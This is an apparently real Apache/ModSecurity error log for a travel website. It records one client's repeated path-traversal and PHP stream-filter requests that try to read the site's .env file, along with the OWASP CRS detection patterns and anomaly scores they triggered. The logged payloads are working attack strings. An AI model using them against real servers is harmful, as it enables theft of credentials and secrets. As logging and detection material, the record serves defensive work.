[Fri Jul 17 08:55:12.302608 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgmOYpb_TFRze2EO3zXQAAAAE"]
[Fri Jul 17 08:55:12.303855 2026] [security2:error] [pid 2019501:tid 2019501] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&log=php%3A%2F%2Ffilter%2Fconvert.iconv.utf-8.utf-16le%2Fconvert.base64-encode%2Fresource%3D..%2F..%2F..%2F.env&token=gHN1IynVYWagW3qkkZq4m6Mg8ooAU_QKHuSHHQOJgPurlG9K9sW30I6_-AsrsFH24PH23p2EiRPfQ2RSTWkXLDHR6d2bZGsOj_KYBbwCKuFFMGTgZhJJRbQJKK3x1-REuMJEc04MPCxwJ6LpgDOPvIT8iDwvwn1oHwP-eoxmqsZbOBkVFKckaheauLqGgO2kg2lYAtg3Fb-1oUFqZ00sUzehxftqJE1cR2AVChTtTb-ksERH6w93md9xDfdUOhJKE28fIyi5wxlgps1PueHdp5ZO&sid=BA76C4FOIBNXDTBPG5BT5DM3RWSCE3EQUKXG2UV3LBFUT4..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmLEWOaI5pmYo9fnOxgAAAAA"]
[Fri Jul 17 08:55:12.303910 2026] [security2:error] [pid 2019501:tid 2019501] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:log. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:log: php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmLEWOaI5pmYo9fnOxgAAAAA"]
[Fri Jul 17 08:55:12.303989 2026] [security2:error] [pid 2019501:tid 2019501] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&log=php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../../.env&token=gHN1IynVYWagW3qkkZq4m6Mg8ooAU_QKHuSHHQOJgPurlG9K9sW30I6_-AsrsFH24PH23p2EiRPfQ2RSTWkXLDHR6d2bZGsOj_KYBbwCKuFFMGTgZhJJRbQJKK3x1-REuMJEc04MPCxwJ6LpgDOPvIT8iDwvwn1oHwP-eoxmqsZbOBkVFKckaheauLqGgO2kg2lYAtg3Fb-1oUFqZ00sUzehxftqJE1cR2AVChTtTb-ksERH6w93md9xDfdUOhJKE28fIyi5wxlgps1PueHdp5ZO&sid=BA76C4FOIBNXDTBPG5BT5DM3RWSCE3EQUKXG2UV3LBFUT4VASPH5XEEALS6QSV62JQWSOWTHFU..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmLEWOaI5pmYo9fnOxgAAAAA"]
[Fri Jul 17 08:55:12.304030 2026] [security2:error] [pid 2019501:tid 2019501] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&log=php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../../.env&token=ghn1iynvywagw3qkkzq4m6mg8ooau_qkhushhqojgpurlg9k9sw30i6_-asrsfh24ph23p2eirpfq2rstwkxldhr6d2bzgsoj_kybbwckuffmgtgzhjjrbqjkk3x1-reumjec04mpcxwj6lpgdopvit8idwvwn1ohwp-eoxmqszbobkvfkckaheaulqggo2kg2lyatg3fb-1oufqz00suzehxftqje1cr2avchtttb-kserh6w93md9xdfduohjke28fiyi5wxlgps1puehdp5zo&sid=ba76c4foibnxdtbpg5bt5dm3rwsce3equkxg2uv3lbfut4vasph5xeeals6qsv62jqwsowthfu..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmLEWOaI5pmYo9fnOxgAAAAA"]
[Fri Jul 17 08:55:12.304071 2026] [security2:error] [pid 2019501:tid 2019501] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:log. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:log: php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmLEWOaI5pmYo9fnOxgAAAAA"]
[Fri Jul 17 08:55:12.304102 2026] [security2:error] [pid 2019501:tid 2019501] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:log. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:log: php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmLEWOaI5pmYo9fnOxgAAAAA"]
[Fri Jul 17 08:55:12.304454 2026] [security2:error] [pid 2019501:tid 2019501] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:log. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:log: php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmLEWOaI5pmYo9fnOxgAAAAA"]
[Fri Jul 17 08:55:12.305518 2026] [security2:error] [pid 2019501:tid 2019501] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmLEWOaI5pmYo9fnOxgAAAAA"]
[Fri Jul 17 08:55:12.305664 2026] [hostinglimits:warn] [pid 2019501:tid 2019501] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2019501) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:12.305963 2026] [security2:error] [pid 2019501:tid 2019501] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgmLEWOaI5pmYo9fnOxgAAAAA"]
[Fri Jul 17 08:55:12.306437 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:log. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:log: php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmIl9vhFBGA6D8l951wAAAAw"]
[Fri Jul 17 08:55:12.306664 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&log=php%3A%2F%2Ffilter%2Fconvert.iconv.utf-8.utf-7%2Fresource%3D..%2F..%2F..%2F.env&anything=G8gOmKJuQ69Z-U8TLiN5aNYhwIGCX7r6jLFf49X3JYR0CoU6PGJmCar9qXJGXpkjp5uPfOphZcVfxEfC-te-ykH2HsHZi3y9-Sjxe3E0xL6gz0pSuqoXSUZ8gsyZhHsvOmJqQ-D368dWyIUxX3cRjzcYdR0J9ObYSPHiAwt71mqgLmSC78YFgw9NLRMnimR-TfOsL7QlRbTLa_hIhxCvCWocGtYGQHHLzg_5hJ_nHrbdCGZbzKXgzj2ymvXyyxst8mdqiHrT5Y6_fe--HOIrtN0t&ts=EI24OBJ44VJKKP7MNPEXVRKGAJFTV2VWQPOGA7U4KBKNLS5HQPQRH5TDSXWIZPBK76TMYNJ..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmEgVnBK6wAv37w6sKwAAABQ"]
[Fri Jul 17 08:55:12.306710 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:log. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:log: php://filter/convert.iconv.utf-8.utf-7/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmEgVnBK6wAv37w6sKwAAABQ"]
[Fri Jul 17 08:55:12.306769 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&log=php://filter/convert.iconv.utf-8.utf-7/resource=../../../.env&anything=G8gOmKJuQ69Z-U8TLiN5aNYhwIGCX7r6jLFf49X3JYR0CoU6PGJmCar9qXJGXpkjp5uPfOphZcVfxEfC-te-ykH2HsHZi3y9-Sjxe3E0xL6gz0pSuqoXSUZ8gsyZhHsvOmJqQ-D368dWyIUxX3cRjzcYdR0J9ObYSPHiAwt71mqgLmSC78YFgw9NLRMnimR-TfOsL7QlRbTLa_hIhxCvCWocGtYGQHHLzg_5hJ_nHrbdCGZbzKXgzj2ymvXyyxst8mdqiHrT5Y6_fe--HOIrtN0t&ts=EI24OBJ44VJKKP7MNPEXVRKGAJFTV2VWQPOGA7U4KBKNLS5HQPQRH5TDSXWIZPBK76TMYNJAZ2ZQVTWBUPEU3HWTJJIPVXFCP..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmEgVnBK6wAv37w6sKwAAABQ"]
[Fri Jul 17 08:55:12.306804 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&log=php://filter/convert.iconv.utf-8.utf-7/resource=../../../.env&anything=g8gomkjuq69z-u8tlin5anyhwigcx7r6jlff49x3jyr0cou6pgjmcar9qxjgxpkjp5upfophzcvfxefc-te-ykh2hshzi3y9-sjxe3e0xl6gz0psuqoxsuz8gsyzhhsvomjqq-d368dwyiuxx3crjzcydr0j9obysphiawt71mqglmsc78yfgw9nlrmnimr-tfosl7qlrbtla_hihxcvcwocgtygqhhlzg_5hj_nhrbdcgzbzkxgzj2ymvxyyxst8mdqihrt5y6_fe--hoirtn0t&ts=ei24obj44vjkkp7mnpexvrkgajftv2vwqpoga7u4kbknls5hqpqrh5tdsxwizpbk76tmynjaz2zqvtwbupeu3hwtjjipvxfcp..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmEgVnBK6wAv37w6sKwAAABQ"]
[Fri Jul 17 08:55:12.306837 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:log. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:log: php://filter/convert.iconv.utf-8.utf-7/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmEgVnBK6wAv37w6sKwAAABQ"]
[Fri Jul 17 08:55:12.306861 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:log. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:log: php://filter/convert.iconv.utf-8.utf-7/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmEgVnBK6wAv37w6sKwAAABQ"]
[Fri Jul 17 08:55:12.307203 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:log. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:log: php://filter/convert.iconv.utf-8.utf-7/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmEgVnBK6wAv37w6sKwAAABQ"]
[Fri Jul 17 08:55:12.307417 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmIl9vhFBGA6D8l951wAAAAw"]
[Fri Jul 17 08:55:12.307517 2026] [hostinglimits:warn] [pid 1993572:tid 1993572] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993572) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:12.307763 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgmIl9vhFBGA6D8l951wAAAAw"]
[Fri Jul 17 08:55:12.308194 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmEgVnBK6wAv37w6sKwAAABQ"]
[Fri Jul 17 08:55:12.308307 2026] [hostinglimits:warn] [pid 2013809:tid 2013809] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013809) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:12.308585 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgmEgVnBK6wAv37w6sKwAAABQ"]
[Fri Jul 17 08:55:12.310955 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&log=php%3A%2F%2Ffilter%2Fconvert.iconv.utf-8.utf-16le%2Fconvert.base64-encode%2Fresource%3D..%2F..%2F.env&debug=rrn1okA-SfLiObyeDy1HUbcjgWILs83h3eSOlZ1KUyEVN5rtfMEbdzlhhgm7v6CPnwoe7cIIsj154CX3Ei8BSnYcA7YR9Ehcqbq6zDaRaLLjbeEZufWFgzoDZdLkt2kWLixndWNwDU37AhIPuc2dcNvGawJgqDMOqiIgsjbYorjhqGFYHc_Ef1UdTVs9coXtZzB38FZIivPcFfnHiffhu-VQQTkGGVrbFQeFu4xGrglfJYvGqnAYSnNjFfXM-06pCBV0mJSQkoa0OTOhx3KJMicE&cb=RUNGQX5YWJGIKQYYSWG274GSLTCG5CUZJEZOL7V4BCA7ZJFOGXBR..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmFCBpfuYyhJ140vSfwAAAB4"]
[Fri Jul 17 08:55:12.310998 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:log. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:log: php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmFCBpfuYyhJ140vSfwAAAB4"]
[Fri Jul 17 08:55:12.311055 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&log=php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../.env&debug=rrn1okA-SfLiObyeDy1HUbcjgWILs83h3eSOlZ1KUyEVN5rtfMEbdzlhhgm7v6CPnwoe7cIIsj154CX3Ei8BSnYcA7YR9Ehcqbq6zDaRaLLjbeEZufWFgzoDZdLkt2kWLixndWNwDU37AhIPuc2dcNvGawJgqDMOqiIgsjbYorjhqGFYHc_Ef1UdTVs9coXtZzB38FZIivPcFfnHiffhu-VQQTkGGVrbFQeFu4xGrglfJYvGqnAYSnNjFfXM-06pCBV0mJSQkoa0OTOhx3KJMicE&cb=RUNGQX5YWJGIKQYYSWG274GSLTCG5CUZJEZOL7V4BCA7ZJFOGXBR2NOXMUYPTKVS7ZATZGPZUDTLB6..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] 